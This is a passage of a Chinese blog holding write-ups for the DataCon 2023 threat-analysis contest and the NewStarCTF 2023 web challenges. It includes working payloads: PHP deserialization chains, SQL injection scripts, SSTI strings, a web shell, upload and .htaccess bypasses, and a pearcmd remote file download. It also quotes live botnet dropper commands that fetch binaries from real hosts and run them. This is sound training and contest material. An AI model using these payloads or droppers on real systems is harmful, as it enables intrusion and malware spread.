后记关于漏洞细节就不发出来了。历时2个多月的零基础从入门到入土,确实学到了不少东西,也踩了一大堆坑,有的坑也卡的比较久,在此感谢w学长给我一步步梳理思路。","categories":[{"name":"技术","slug":"技术","permalink":"https://blog.lazyforever.top/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"wireshark","slug":"wireshark","permalink":"https://blog.lazyforever.top/tags/wireshark/"},{"name":"apk逆向","slug":"apk逆向","permalink":"https://blog.lazyforever.top/tags/apk%E9%80%86%E5%90%91/"},{"name":"frida","slug":"frida","permalink":"https://blog.lazyforever.top/tags/frida/"},{"name":"mitmproxy","slug":"mitmproxy","permalink":"https://blog.lazyforever.top/tags/mitmproxy/"},{"name":"jeb","slug":"jeb","permalink":"https://blog.lazyforever.top/tags/jeb/"},{"name":"jadx","slug":"jadx","permalink":"https://blog.lazyforever.top/tags/jadx/"}]},{"title":"2023 DataCon大数据安全分析竞赛 WriteUp","slug":"2023datacon","date":"2023-11-16T13:04:22.000Z","updated":"2023-12-22T10:15:30.773Z","comments":true,"path":"2023/11/16/2023datacon/","link":"","permalink":"https://blog.lazyforever.top/2023/11/16/2023datacon/","excerpt":"","text":"互联网威胁溯源题目一:形形色色的DDoS分析根据题目描述,攻击者采用了多种DDoS攻击方法,找出这些攻击流量,并将攻击类型相同的源IP进行归类。 分析题目提供的流量包,wireshark打开。 观察到多种ddos流量。 SYN Flood Attack流量特征:仅有一个tcp包。 UDP Flood Attack流量特征:协议为UDP,内容杂乱。 NTP Reply Flood Attack流量特征:协议为NTP CC Attack流量特征:具有完整的TCP流量包。 此次ddos中CC攻击有两种形式: 第一种(示例)123456GET / HTTP/1.1Connection: keep-aliveX-a: datacon2023-1278X-a: datacon2023-591X-a: datacon2023-452X-a: datacon2023-815 第二种(示例)12345678GET / HTTP/1.1Connection: keep-aliveContent-Length: 1000X-a: datacon2023-256X-a: datacon2023-968X-a: datacon2023-236X-a: datacon2023-808 更新于2023/12/10 wp终于出了,原来这两个分别是慢速http header泛洪攻击和慢速http payload泛洪攻击,区别是:第一种会定期向目标发送部分请求标头,以使请求保持活动状态;第二种会发送一个值很大的Content-Length字段,之后慢慢发送少量字节的数据包,主机就会认为该请求包存在payload没有发完,因此会维持连接。 解答设置过滤器,编写脚本: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586import pysharktshark=r"C:\\sec\\Wireshark\\tshark.exe" # 本地tshark路径pcap='../pcap.pcapng' # 本地pcap位置# 读取pcap文件并分类udp_cap = pyshark.FileCapture(pcap, display_filter='udp',tshark_path=tshark)ntp_cap = pyshark.FileCapture(pcap, display_filter='ntp',tshark_path=tshark)tls_cap = pyshark.FileCapture(pcap, display_filter='tls',tshark_path=tshark)cc2_cap= pyshark.FileCapture(pcap, display_filter='tcp.flags.syn==1 && tcp.options', tshark_path=tshark)syn_cap= pyshark.FileCapture(pcap, display_filter='tcp.flags.syn==1', tshark_path=tshark)# 观察到最后时间段除了一个ip以外都是cc1末流量包cc1_cap=pyshark.FileCapture(pcap, display_filter='frame.time_relative>=100.053', tshark_path=tshark)get_except=("92.126.115.64")target=('93.224.28.177') # 被ddos机ip# 用于存储IP地址的集合udp_list = set()ntp_list = set()tls_list=set()cc2_list=set()syn_list=set()cc1_list=set()for packet in cc1_cap: try: source_ip = packet.ip.src if source_ip not in target and source_ip not in get_except: cc1_list.add(source_ip) except AttributeError: passfor packet in cc2_cap: try: source_ip = packet.ip.src if source_ip not in target and source_ip not in cc1_list: cc2_list.add(source_ip) except AttributeError: passfor packet in syn_cap: try: source_ip = packet.ip.src if source_ip not in target and source_ip not in cc2_list and source_ip not in cc1_list: syn_list.add(source_ip) except AttributeError: passfor packet in tls_cap: try: source_ip = packet.ip.src if source_ip not in target: tls_list.add(source_ip) except AttributeError: passfor packet in ntp_cap: try: source_ip = packet.ip.src if source_ip not in target: ntp_list.add(source_ip) except AttributeError: passfor packet in udp_cap: try: source_ip = packet.ip.src if source_ip not in ntp_list and source_ip not in target: udp_list.add(source_ip) except AttributeError: pass# 将IP地址导出到txt文件with open('q1_answer.txt', 'w') as f: f.write(','.join(udp_list)) f.write('\\n') f.write(','.join(ntp_list)) f.write('\\n') f.write(','.join(cc2_list)) f.write('\\n') f.write(','.join(syn_list)) f.write('\\n') f.write(','.join(cc1_list)) 题目二:威胁情报的关联分析分析题目描述:选手点击下载该题提供的文件,本文件是部分公网蜜罐日志。已知本次的DDoS攻击由僵尸网络团伙发起,该团伙传播了两种恶意样本文件。在本次攻击中,该团伙利用CVE-2019-7238漏洞组建僵尸网络。请找到这两种恶意样本文件,并给出每种恶意样本文件的MD5以及每种恶意样本文件在蜜罐日志的传播源IP和下载站IP(作答时只需给出IP即可,无需具体指定每个IP是传播源还是下载站)。 下载提供的honeylog.json,观察发现,大部分传输恶意样本文件的流量均使用了wget协议来下载恶意样本,因此可以将带有wget的字符串过滤出来。 根据题目描述的CVE-2019-7238,其漏洞利用路径为/service/extdirect,可以通过这个路径找到一个恶意样本。 解答编写提取wget字符串的脚本,脚本提取方式为识别wget 、wget+或wget%为前缀,;或)为后缀的字符串。 1234567891011121314151617wget_lines = set()with open('honeylog.json', 'r') as file: for line in file: line = line.strip() if 'wget ' in line or 'wget%' in line or 'wget+' in line: begin_index=line.find('wget') ll=[len(line)] if line.find(';')!=-1: ll.append(line.find(';')) if line.find(')')!=-1: ll.append(line.find(')')) end_index = min(ll) wget_lines.add(line[begin_index:end_index])# 将满足条件的行写入2.txtwith open('2.txt', 'w') as file: file.write('\\n'.join(wget_lines)) 运行脚本后,得到: 1234567891011121314wget http://miori.lol/miori.arm7 && chmod 777 miori.arm7 && ./miori.arm7 selfrep.vigor && rm -rf miori.arm7wget -g 103.178.232.12 -l /tmp/.oxy -r /mipswget -g 107.173.231.76 -l /tmp/.oxy -r /mipswget http://112.192.5.28:8888/koba -O /tmp/koba && cd /tmp && chmod +x koba && ./koba &"}}wget -g 143.198.91.91 -l /tmp/.oxy -r /mipswget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mipswget -g 103.183.118.160 -l /tmp/.oxy -r /mipswget http://download.asyncfox.xyz/download/dupa2.sh -O- | bashwget -g 109.98.208.52 -l /tmp/.oxy -r /mipswget http://46.29.166.61/arm7 && chmod 777 arm7 && ./arm7 selfrep.vigor && rm -rf arm7wget http://74.209.210.114:8888/caesar -O /tmp/caesar && cd /tmp && chmod +x caesar && ./caesar &wget http://149.129.92.9:8888/caesar -O /tmp/caesar && cd /tmp && chmod +x caesar && ./caesar &wget -g 64.227.121.58 -l /tmp/.oxy -r /mipswget http://45.95.146.26/miori.arm7 && chmod 777 miori.arm7 && ./miori.arm7 selfrep.vigor && rm -rf miori.arm7 其中caesar,koba在大网环境中可以成功下载,使用md5sum计算样本md5值,编写脚本: 1234567891011121314151617181920212223242526272829303132333435import jsoncaesar_set = set()caesar_set.add('74.209.210.114')caesar_set.add('149.129.92.9')koba_set=set()koba_set.add('112.192.5.28')# 读取文件with open('honeylog.json', 'r') as file: # 逐行读取 for line in file: if 'caesar' in line: try: data = json.loads(line) src_ip = data.get('src_ip') if src_ip: caesar_set.add(src_ip) except: pass if 'koba' in line: try: data = json.loads(line) src_ip = data.get('src_ip') if src_ip: koba_set.add(src_ip) except: pass with open('md5_file.txt','w') as f: f.write('82f485f6d3dbad747ef307158fc7ea48:') f.write(','.join(caesar_set)) f.write('\\n') f.write('e4d87fc7fd025213a86b0db38b147375:') f.write(','.join(koba_set)) 得到答案: 1282f485f6d3dbad747ef307158fc7ea48:149.129.92.9,74.209.210.114,194.216.26.179e4d87fc7fd025213a86b0db38b147375:112.192.5.28,195.220.160.50 题目四:消失的窃密流量分析题目描述:找到窃密流量最终流向的服务器IP,并根据目前掌握的线索给出**此次攻击事件中(DDoS+窃密)**明确被控的主机IP;请给出原始被窃取文件的MD5。 我们队伍只找到了部分DDoS的被控ip。 解答使用ida反编译caesar文件,进入main函数 进入函数sub_33F9中,发现其调用了多次sub_3A91函数 进入sub_3A91函数发现是将函数地址写入一个ptr变量。 查找ptr的调用者,观察到sub_387A函数 经过分析,该函数是将每个存入的函数地址都进行调用 回到sub_33F9函数中,发现可疑函数sub_5841和sub_6249,进入后发现其均为ddos中发起cc攻击的函数 sub_5841: sub_6249: 因此,将第一题中的cc攻击ip导入进来即可,编写脚本: 123456789101112131415161718url_set=set()q1=open('q1_answer.txt','r')q1.readline()q1.readline()for i in q1.readline().strip().split(','): url_set.add(i)q1.readline()for i in q1.readline().strip().split(','): url_set.add(i) q1.close()q3='153.97.92.169'with open('q4_answer.txt','w') as f: f.write(q3) f.write('\\n') f.write(','.join(url_set)) f.write('\\n') 得到25%的分数。 邮件安全题目二:新型邮件炸弹攻击编写脚本,提取前10000权重的网址。 12345678910mails=[]with open('top_mail.csv','r') as file: for i in file: a=i.split(',') if int(a[0])>10000: break else: mails.append(a[1])with open('top_10000_mails.txt','w') as f: f.write(''.join(mails)) 从上到下,依次测试发送邮件。 使用已注册邮箱,如qq.com、gmail.com等发送邮件。 总结最开始以为比赛会很难,但是感觉难度还可以? 可惜的是互联网威胁溯源到后面逆向的时候就开始乏力了,做不出来题,感觉该逆的都逆了,该脱壳也手脱了,检查点也一次没少,但就是找不到答案的IP地址,等赛后看看别人的wp吧。 邮件安全那道题单纯的打着玩,发了两个小时的邮件。 贴一部分的比赛题目: 互联网威胁溯源.zip top_mail.csv 更新于2023/12/10 官方wp已出,仔细看了一下,发现其实自己没分析出来的东西还有很多,其中找ip地址的时候我也尝试过向169.196.166.199: 16996发包,官方wp是用python发送的,我是直接用nc -u发的包,但是没收到返回的信息,导致我以为它的环境已经关了,于是没了头绪。 当时以为自己都看的差不多,但现在想了一下,其实我做出来的可能也就一半左右,原因大体上可能是对C2僵尸网络的原理处于不了解的状态,甚至我觉得是对一个领域的整体架构没有构建起来。 最后把官方wp贴上吧:DataCon2023互联网威胁溯源赛道,冠军战队WP分享 (qq.com)","categories":[{"name":"WriteUp","slug":"WriteUp","permalink":"https://blog.lazyforever.top/categories/WriteUp/"}],"tags":[{"name":"reverse","slug":"reverse","permalink":"https://blog.lazyforever.top/tags/reverse/"},{"name":"wireshark","slug":"wireshark","permalink":"https://blog.lazyforever.top/tags/wireshark/"}]},{"title":"NewStarCTF 2023-WEEK4 Web WriteUp","slug":"2023newstarctfWeek4","date":"2023-11-05T13:02:41.000Z","updated":"2023-11-16T13:03:56.610Z","comments":true,"path":"2023/11/05/2023newstarctfWeek4/","link":"","permalink":"https://blog.lazyforever.top/2023/11/05/2023newstarctfWeek4/","excerpt":"","text":"解题 4/7 逃打开容器,看到源码 1234567891011121314151617181920<?phphighlight_file(__FILE__);function waf($str){ return str_replace("bad","good",$str);}class GetFlag { public $key; public $cmd = "whoami"; public function __construct($key) { $this->key = $key; } public function __destruct() { system($this->cmd); }}unserialize(waf(serialize(new GetFlag($_GET['key'])))); 明显的php反序列化逃逸,利用原理即使用大量的bad替换为good来逃逸php反序列化的字符数量标记 给出payload: 123456789101112131415161718192021222324<?phphighlight_file(__FILE__);function waf($str){ return str_replace("bad", "good", $str);}class GetFlag{ public $key; public $cmd = "whoami"; public function __construct($key) { $this->key = $key; } public function __destruct() { system($this->cmd); }}$a = new GetFlag("badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad\\";s:3:\\"cmd\\";s:4:\\"cat /flag\\";}");echo waf(serialize($a));//O:7:"GetFlag":2:{s:3:"key";s:88:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";} More Fast开容器看源码 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455<?phphighlight_file(__FILE__);class Start{ public $errMsg; public function __destruct() { die($this->errMsg); }}class Pwn{ public $obj; public function __invoke(){ $this->obj->evil(); } public function evil() { phpinfo(); }}class Reverse{ public $func; public function __get($var) { ($this->func)(); }}class Web{ public $func; public $var; public function evil() { if(!preg_match("/flag/i",$this->var)){ ($this->func)($this->var); }else{ echo "Not Flag"; } }}class Crypto{ public $obj; public function __toString() { $wel = $this->obj->good; return "NewStar"; }}class Misc{ public function evil() { echo "good job but nothing"; }}$a = @unserialize($_POST['fast']);throw new Exception("Nope"); 看起来像是一个php的__destruct反序列化利用,但是注意到结尾处出现throw new Exception("Nope");强制跑出异常进入到gc垃圾回收模式。因此,我们需要在反序列化处触发异常提前进入垃圾回收模式,其中,触发异常的情况常见有几种: 对象被unset()处理时,可以触发。 数组对象为NULL时,可以触发。 当输入的序列化对象格式不完整或不正确时,可以触发。 这里采用第三种方式绕过(当然,别的方式也可以正常绕过) 给出payload 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465<?phphighlight_file(__FILE__);class Start{ public $errMsg; public function __destruct() { die($this->errMsg); }}class Pwn{ public $obj; public function __invoke() { $this->obj->evil(); } public function evil() { phpinfo(); }}class Reverse{ public $func; public function __get($var) { ($this->func)(); }}class Web{ public $func = "system"; public $var = "ls"; public function evil() { if (!preg_match("/flag/i", $this->var)) { ($this->func)($this->var); } else { echo "Not Flag"; } }}class Crypto{ public $obj; public function __toString() { $wel = $this->obj->good; return "NewStar"; }}$a = new Start();$a->errMsg = new Crypto();$a->errMsg->obj = new Reverse();$a->errMsg->obj->func = new Pwn();$a->errMsg->obj->func->obj = new Web();echo serialize($a); 得到的payload结尾删去一个反大括号即可。 midsql打开容器看到sql源码 123$cmd = "select name, price from items where id = ".$_REQUEST["id"];$result = mysqli_fetch_all($result);$result = $result[0]; 测试一下,发现是数字注入但是没有回显,还禁用了几个字符。 使用延时注入方法,写个python脚本 123456789101112131415161718192021222324import requestsurl='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28database%28%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29'url1='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28%28select%2f**%2fgroup_concat%28table_schema%29%2F**%2Ffrom%2F**%2Finformation_schema.tables%2F**%2Fwhere%2F**%2Ftable_name%2F**%2Flike%2F**%2F%27items%27%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29'url1='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28%28select%2f**%2fgroup_concat%28schema_name%29%2F**%2Ffrom%2F**%2Finformation_schema.schemata%2F**%2F%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29'flag=''url1='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28%28select%2f**%2fgroup_concat%28name%29%2F**%2Ffrom%2F**%2Fctf.items%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29'temp_url=url1.format(1,0)re=requests.get(temp_url)print(re.text)for i in range(1,100): # print(i) for j in range(32,126): temp_url=url1.format(i,j) try: re=requests.get(temp_url,timeout=3) #print(j) except Exception: flag+=chr(j) print(chr(j),end='') breakprint('\\n',flag) 得到flag flask disk打开容器,看到上传界面,上传一个空内容,发现python flask框架的debug模式没关,想到debug模式的热加载特性,直接上传一个app.py,加一个读flag的路由即可。 app.py 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152from crypt import methodsfrom flask import Flask,request,send_fileimport os,datetimeapp = Flask(__name__)@app.route('/',methods=['GET'])def index(): return '<h1>Welcome to my flask disk</h1><a href="/list">list files</a><br><a href="/upload">upload files</a><br><a href="/console">admin manage</a>'@app.route('/list',methods=['GET'])def list(): dirs = os.listdir('.') items = '' for dir in dirs: if os.path.isfile(dir): create_time = int(os.path.getctime(dir)) create_time = datetime.datetime.fromtimestamp(create_time) item =f'</pre>{dir} {str(os.path.getsize(dir))}b {create_time}</pre><br><br>' items += item items += '\\n' return [email protected]('/aa',methods=['GET'])def aa(): os.system('cat /flag > /app/1.txt') return 'os.system(a)'@app.route('/upload',methods=['GET','POST'])def upload(): if request.method == 'GET': s='<form action="/upload" method="POST" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>' return s elif request.method == 'POST': file = request.files['file'] if '..' in file.filename or '/' in file.filename: return '.. and / are not allowed!' file.save(file.filename) return 'upload success. <a href="/list">check</a>' @app.route('/download',methods=['GET','POST'])def download(): filename = request.args.get('filename') if filename and os.path.exists(filename): if '..' in filename or '/' in filename: return '.. and / are not allowed!' return send_file(filename,as_attachment=True) else: return 'no file to download or file not exist'if __name__=='__main__': app.run(host='0.0.0.0',debug=True,port=5000) 总结难起来了,开始坐牢了。。。 贴个wp:https://shimo.im/docs/gXqmdVvbOEsXpo3o/read 顺便把第五周的也贴上了:https://shimo.im/docs/R3sGgZdrlyE6nL8T/read","categories":[{"name":"WriteUp","slug":"WriteUp","permalink":"https://blog.lazyforever.top/categories/WriteUp/"}],"tags":[{"name":"web","slug":"web","permalink":"https://blog.lazyforever.top/tags/web/"}]},{"title":"NewStarCTF 2023-WEEK3 Web WriteUp","slug":"2023newstarctfWeek3","date":"2023-10-17T04:55:06.000Z","updated":"2023-10-22T13:57:05.312Z","comments":true,"path":"2023/10/17/2023newstarctfWeek3/","link":"","permalink":"https://blog.lazyforever.top/2023/10/17/2023newstarctfWeek3/","excerpt":"","text":"解题 5/6 Include 🍐打开容器,提示phpinfo 进入phpinfo.php查看php配置,发现register_argc_argv配置被打开,index.php内部有一个后缀名为.php的文件包含,通过pearcmd来包含进行恶意文件的下载,在vps上构造恶意文件 12<?php echo '<?php system($_GET[0]);'; 使用pearcmd包含:?f=pearcmd&+install+-R+/var/www/html+http://ip:port/evil.php 进入tmp/pear/download/evil.php直接命令执行即可。 medium_sql跟Week2差不多,但是把union的大小写禁用了,用不了联合注入,使用布尔注入 贴个布尔注入脚本 123456789101112131415161718import requestsimport stringurl='http://4bbc4bf0-4b86-4dc7-90db-8609acab2c76.node4.buuoj.cn:81/?id=TMP0919\\'And if(suBstring((seLect flag from ctf.here_is_flag liMit%201),{},1)=\\'{}\\',1,0)--+'all_chars = string.ascii_lowercase + string.digits + "_"+"{"+"}"+"-"flag=''for i in range(1,50): for j in all_chars: ppp=url.format(i, j) re=requests.get(ppp) if len(re.text)>450: print(j,end='') breakprint("Flag: ", flag) POP Gadget打开容器,是php反序列化 POP链:Begin->name->__destruct()->Then->func->__toString()->Super->obj->invoke()->Handle->obj->__call->CTF->handle->end()->WhiteGod->__unset() payload: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798<?phphighlight_file(__FILE__);class Begin{ public $name; public function __destruct() { if (preg_match("/[a-zA-Z0-9]/", $this->name)) { echo "Hello"; } else { echo "Welcome to NewStarCTF 2023!"; } }}class Then{ private $func; public function __construct() { $this->func = new Super; } public function __toString() { ($this->func)(); return "Good Job!"; }}class Handle{ protected $obj; public function __construct() { $this->obj = new CTF; } public function __call($func, $vars) { $this->obj->end(); }}class Super{ protected $obj; public function __construct() { $this->obj = new Handle; } public function __invoke() { $this->obj->getStr(); } public function end() { die("==GAME OVER=="); }}class CTF{ public $handle; public function __construct() { $this->handle = new WhiteGod; } public function end() { unset($this->handle->log); }}class WhiteGod{ public $func = 'system'; public $var = 'cat /flag'; public function __unset($var) { ($this->func)($this->var); }}$a = new Begin;$a->name = new Then;echo urlencode(serialize($a)); GenShin打开容器后发现返回表头pop值为/secr3tofpop 进入后发现是python flask的ssti 黑名单有{{}},os,=等 name={%print({}.__class__.__bases__[0].__subclasses__())%}查看所有方法 使用FileLoader ?name={%print({}.__class__.__bases__[0].__subclasses__()[99][%22get_data%22](0,%22flag%22))%} 得到flag R!!!C!!!E!!!打开容器,发现代码: 123456789101112131415161718192021<?phphighlight_file(__FILE__);class minipop{ public $code; public $qwejaskdjnlka; public function __toString() { if(!preg_match('/\\\\$|\\.|\\!|\\@|\\#|\\%|\\^|\\&|\\*|\\?|\\{|\\}|\\>|\\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){ exec($this->code); } return "alright"; } public function __destruct() { echo $this->qwejaskdjnlka; }}if(isset($_POST['payload'])){ //wanna try? unserialize($_POST['payload']);} 过滤的字符有点多,不太容易RCE,最后用了个小技巧,把index.php中的|删去,然后再命令执行。 给出payload: 123456789101112131415161718192021222324<?phphighlight_file(__FILE__);class minipop{ public $code; public $qwejaskdjnlka; public function __toString() { if (!preg_match('/\\\\$|\\.|\\!|\\@|\\#|\\%|\\^|\\&|\\*|\\?|\\{|\\}|\\>|\\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)) { exec($this->code); } return "alright"; } public function __destruct() { echo $this->qwejaskdjnlka; }}$a = new minipop;$a->qwejaskdjnlka = new minipop;$a->qwejaskdjnlka->code = 'sed -i \\'s/|//g\\' index`echo -e "\\x2ep"`hp';$a->qwejaskdjnlka->code = 'ls / >1.php';$a->qwejaskdjnlka->code = 'cat /flag_is_h3eeere >1.php';echo (serialize($a)); OtenkiGirl不会,等个官方wp,但凭感觉是原型链污染 总结第三周感觉难度上来了,做起来有点费劲了 贴个官方wp:https://shimo.im/docs/QPMRxzGktzsZnzhz","categories":[{"name":"WriteUp","slug":"WriteUp","permalink":"https://blog.lazyforever.top/categories/WriteUp/"}],"tags":[{"name":"web","slug":"web","permalink":"https://blog.lazyforever.top/tags/web/"}]},{"title":"NewStarCTF 2023-WEEK2 Web WriteUp","slug":"2023newstarctfWeek2","date":"2023-10-09T23:51:20.000Z","updated":"2023-10-18T08:48:17.042Z","comments":true,"path":"2023/10/10/2023newstarctfWeek2/","link":"","permalink":"https://blog.lazyforever.top/2023/10/10/2023newstarctfWeek2/","excerpt":"","text":"解题 6/6 游戏高手打开容器,发现一个前端页面,F12进行javascript代码审计。 发现函数gameover() 12345678910111213141516171819202122function gameover(){ if(gameScore > 100000){ var xhr = new XMLHttpRequest(); xhr.open("POST", "/api.php", true); xhr.setRequestHeader("Content-Type", "application/json"); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { var response = JSON.parse(xhr.responseText); alert(response.message); } }; var data = { score: gameScore, }; xhr.send(JSON.stringify(data)); } alert("成绩:"+gameScore); gameScore=0; curPhase =PHASE_READY; hero = null; hero = new Hero(); } 分析逻辑,发现当gameScore大于100000时,会将{score: gameScore}转化为json发送到/api.php,将返回结果alert,因此猜测flag由api.php给出。 在控制台重写gameover函数 1234567891011121314151617181920212223function gameover(){ if(gameScore < 100000){ gameScore = 1000000; var xhr = new XMLHttpRequest(); xhr.open("POST", "/api.php", true); xhr.setRequestHeader("Content-Type", "application/json"); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { var response = JSON.parse(xhr.responseText); alert(response.message); } }; var data = { score: gameScore, }; xhr.send(JSON.stringify(data)); } alert("成绩:"+gameScore); gameScore=0; curPhase =PHASE_READY; hero = null; hero = new Hero(); } 接着在控制台执行gameover(),得到flag:flag{5d66c0a8-cb52-4099-a3fb-f7d5cf4826d0} include 0。0打开容器,发现一段php 12345678910<?phphighlight_file(__FILE__);// FLAG in the flag.php$file = $_GET['file'];if(isset($file) && !preg_match('/base|rot/i',$file)){ @include($file);}else{ die("nope");}?> 看到include,文件包含漏洞。 但是!preg_match('/base|rot/i',$file)如果file中含有base和rot就会die,所以用不了普通的php://filter/read=convert.base64-encode/resource=flag.php和php://filter/read=string.rot13/resource=flag.php 使用其他字符集,php://filter/read=convert.iconv.UTF8.UTF7/resource=flag.php,得到flag+AHs-59c6afe7-3cad-4eb3-abac-38b09521a184+AH0 稍加改动,得到flag:flag{59c6afe7-3cad-4eb3-abac-38b09521a184} 这里贴一个字符集filter脚本,wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT ez_sql打开容器,发现好多a标签,随便点点,发现有id参数传入。 ?id=TMP0919'--+发现依旧可以显示,猜测是sql注入。 但是?id=TMP0919'or 1=1--+显示no,有黑名单,使用大小写绕过。 ?id=TMP0919'Or 1=1--+绕过成功。 查字段数 1?id=TMP0919' Order by 5--+ 成功 1?id=TMP0919' Order by 6--+ 无法回显,得到字段数为5。 1?id=T' union seLect 1,2,3,4,5--+ 可以正常回显。 查库名 1?id=T' union seLect database(),2,3,4,5--+ 回显ctf,注意select需要使用大小写绕过。 查表名 1?id=T' union seLect database(),(seLect group_concat(table_name) from infOrmation_schema.tables wHere table_schema=database()),3,4,5--+ 返回grades,here_is_flag,发现here_is_flag表,注意information_schema和where需要使用大小写绕过。 查列名 1?id=T' union seLect database(),(seLect group_concat(table_name) from infOrmation_schema.tables wHere table_schema=database()),(seLect group_concat(column_name) from infOrmation_schema.columns wHere table_name='here_is_flag' ),4,5--+ 返回flag,得到flag列 查flag 1?id=T' union seLect database(),(seLect group_concat(table_name) from infOrmation_schema.tables wHere table_schema=database()),(seLect group_concat(column_name) from infOrmation_schema.columns wHere table_name='here_is_flag' ),(seLect flag from ctf.here_is_flag),5--+ 得到flag:flag{fbbd976e-4244-4154-b2d1-a38dba8a9ef2} Unserialize?打开容器,发现php代码 12345678910111213141516<?phphighlight_file(__FILE__);// Maybe you need learn some knowledge about deserialize?class evil { private $cmd; public function __destruct() { if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){ @system($this->cmd); } }}@unserialize($_POST['unser']);?> 利用php反序列化漏洞,本地搭建php环境 123456789101112131415161718<?phphighlight_file(__FILE__);// Maybe you need learn some knowledge about deserialize?class evil{ private $cmd = "ls /"; public function __destruct() { if (!preg_match("/cat|tac|more|tail|base/i", $this->cmd)) { @system($this->cmd); } }}$a = new evil;echo urlencode(serialize($a));?> 拿到O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A4%3A%22ls+%2F%22%3B%7D 直接打,发现flag路径:/th1s_1s_fffflllll4444aaaggggg 123456789101112131415161718<?phphighlight_file(__FILE__);// Maybe you need learn some knowledge about deserialize?class evil{ private $cmd = "ca''t /th1s_1s_fffflllll4444aaaggggg"; public function __destruct() { if (!preg_match("/cat|tac|more|tail|base/i", $this->cmd)) { @system($this->cmd); } }}$a = new evil;echo urlencode(serialize($a));?> 使用单引号绕过过滤,拿到O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A36%3A%22ca%27%27t+%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D 得到flag:flag{f1e483d0-09a1-4376-b00b-60b3ea9422df} Upload again!上传php,发现有黑名单。 直接上传.htaccess 1AddType application/x-httpd-php .jpg 将jpg解析为php 上传1.jpg,发现含有<?的文件被过滤,使用JavaScript标签绕过。 1<script language="php">system($GET[0]);</script> 可以正常解析,剩下无脑直接找flag即可。 R!!C!!E!!打开容器发现Welcome To NewstarCTF 2023,Nothing here,or you wanna to find some leaked information? 信息泄露,猜测是git泄露,使用GitHack工具 得到bo0g1pop.php,内容为 1234567<?phphighlight_file(__FILE__);if (';' === preg_replace('/[^\\W]+\\((?R)?\\)/', '', $_GET['star'])) { if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){ eval($_GET['star']); }} 分析逻辑,是无参数RCE,从start.sh可以看到flag在/flag中。 首先需要构造出/flag,使用getallheaders函数得到所有http Header 发现User-Agent在第二个,可以使用next(getallheaders())得到值。 改UA为/flag,得到/flag字符串,接着使用show_source函数得到flag内容。 完整payload:/bo0g1pop.php?star=show_source(next(getallheaders())); 得到flag:flag{34b4ffdf-5637-46ee-a734-30e031d0b73f} 总结贴一个官方wp:https://shimo.im/docs/Dy5ekHJhKo0ap5v3/ 其他方向没怎么研究,太忙了,只抽出来一个小时写了个Web","categories":[{"name":"WriteUp","slug":"WriteUp","permalink":"https://blog.lazyforever.top/categories/WriteUp/"}],"tags":[{"name":"web","slug":"web","permalink":"https://blog.lazyforever.top/tags/web/"}]},{"title":"NewStarCTF 2023-WEEK1 WriteUp","slug":"2023newstarctfWeek1","date":"2023-09-26T05:33:13.000Z","updated":"2023-10-02T06:32:39.687Z","comments":true,"path":"2023/09/26/2023newstarctfWeek1/","link":"","permalink":"https://blog.lazyforever.top/2023/09/26/2023newstarctfWeek1/","excerpt":"","text":"好久没碰ctf了,感觉手有点生,正好最近newstar新生赛,过来凑个热闹。 Web解题 7/7 泄漏的秘密介绍里面写了“粗心的网站管理员总会泄漏一些敏感信息在Web根目录下”,一眼信息泄露 打开容器,出现粗心的管理员泄漏了一些敏感信息,请你找出他泄漏的两个敏感信息!,/robots.txt一试直接爆出flag的前半段,/www.zip直接把源码泄露了。 拿到flag:flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous} Begin of Upload一眼文件上传,写一个php马试一下 1<?php system($_GET['cmd']); 发现文件后缀有白名单,但是验证是在前端,直接burp抓包改一下文件名就能绕 Begin of HTTP打开容器,发现要求请使用 GET方式 来给 ctf 参数传入任意值来通过这关 加个参数试一下http://node4.buuoj.cn:25055/?ctf=1 发现很棒,如果我还想让你以POST方式来给我传递 secret 参数你又该如何处理呢? 如果你传入的参数值并不是我想要的secret,我也不会放你过关的 或许你可以找一找我把secret藏在了哪里 ctrl+U看下源码,发现注释<!-- Secret: base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk) --> 